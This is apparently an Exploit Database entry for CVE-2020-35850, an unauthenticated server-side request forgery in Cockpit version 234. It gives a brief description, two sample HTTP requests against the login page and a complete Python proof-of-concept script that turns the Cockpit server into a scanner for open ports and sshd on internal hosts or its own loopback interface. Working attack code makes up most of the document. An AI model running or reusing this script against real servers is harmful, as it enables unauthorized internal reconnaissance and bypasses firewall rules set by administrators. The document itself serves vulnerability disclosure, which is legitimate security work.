Cokpit version 234 - Server Side Request Forgery (CVE-2020-35850)

Cockpit Version 234 - sshd Service Scanning via Server-Side Request Forgery (Unauthenticated)

# Description

• Cockpit version: 234

• OS: Ubuntu 18.04

• Page: login

An unauthenticated user can detect open ssh port or another open ports on server that services Cockpit last version. In addition, this vulnerability that allows a user sends request to internal hosts for detecting open ports so that firewall configuration can be bypassed or the server can be used like gateway by attacker user for scanning process. For example, if system admin creates iptables rule to drop all packets that come to 22 port or another port, user can detect whether port 22 is open or not.

Assuming that there is a rule which the port 22 is open for 127.0.0.1 (loopback interface) only .

First HTTP Request:

GET /cockpit+=192.168.1.27:22/login HTTP/1.1
Host: 192.168.1.27:9090
User-Agent: *
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic dWJ1bnR1OnVidW50dQ==
X-Authorize:
Connection: close
Cookie: cockpit=deleted

Second HTTP Request:

GET /cockpit+=127.0.0.1:22/login HTTP/1.1
Host: 192.168.1.27:9090
User-Agent: *
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic dWJ1bnR1OnVidW50dQ==
X-Authorize:
Connection: close
Cookie: cockpit=deleted

The server-side request forgery vulnerability can be detected by comparing two requests above. First HTTP request does not return a response due to iptables rule.

# Exploitation

#!/usr/bin/python3
import argparse
import requests
import sys
import urllib3
import time
from colorama import Fore, Style
from argparse import ArgumentParser, Namespace
from bs4 import BeautifulSoup

"""
Example scanning for internal server:
python3 PoC.py --target 192.168.1.33:9090 --scan 172.16.16.16 --ports 21,22,23
Example scanning for loopback interface of server: 
python3 PoC.py --target 192.168.1.33:9090 
Description : https://github.com/passtheticket/vulnerability-research/tree/main/cockpitProject/README.md
"""
    
def main():
    dsc = "Cockpit Version 234 - sshd Service Scanning via Server-Side Request Forgery (Unauthenticated)"
    parser: ArgumentParser = argparse.ArgumentParser(description=dsc)
    parser.add_argument("--target", help="IP address of Cockpit server", type=str, required=True)
    parser.add_argument("--scan", help="IP address of server that will be scanned", type=str, required=False)
    parser.add_argument("--ports", help="Ports (example: 21,22)", type=str, required=False)
    args: Namespace = parser.parse_args()

    if args.target:
        target = args.target
        if args.scan:
            scan = args.scan
            if args.ports:
                ports = args.ports
            else:
                ports = "22"
        else:
            scan = "127.0.0.1"
            if args.ports:
                ports = args.ports
            else:
                ports = "22"
        cockpitReq(target, scan, ports)

def cockpitReq(target, scan, ports):
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    portRange = ports.split(",")
    for unsafe in portRange:
        headers = {
            "Host": str(target),
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
            "Accept": "*/*",
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate",
            "Authorization": "Basic dW5zYWZlOmlubGluZQ==",
            "X-Authorize": "",
            "Connection": "close",
            "Cookie": "cockpit=deleted",
        }
        req = requests.get("http://" + target + "/cockpit+=" + scan + ":" + unsafe + "/login", headers, verify=False)
        time.sleep(2)
        soup = BeautifulSoup(req.text, 'html.parser')
        responseCode = req.status_code
        responseTime = str(req.elapsed)

        if responseCode == 404:
            print("Cockpit server was not found!")
        elif responseCode == 401:
            if soup.title.string == "Authentication failed":
                print(Fore.GREEN + Style.BRIGHT + "[+] Port: "+ unsafe + " sshd service is detected!")
            elif soup.title.string == "Authentication failed: no-host":
                if responseTime > "0:00:10.000000":
                	print(Fore.GREEN + Style.BRIGHT +"[-] Port: "+ unsafe + " is open, sshd service is not detected!")
                else:
                	print(Fore.RED + Style.BRIGHT +"[-] Port: "+ unsafe + " sshd service is not detected!")
            else:
                print(Fore.RED + Style.BRIGHT +"[-] Error is occured!")
                print("[-] One bad day!")
                sys.exit(1)
        else:
            print("Something went wrong!")

main()

Cockpit 235 — Cockpit Project

Cockpit Version 234 - Server-Side Request Forgery (Unauthenticated)Exploit Database

# Author: Metin Yunus Kandemir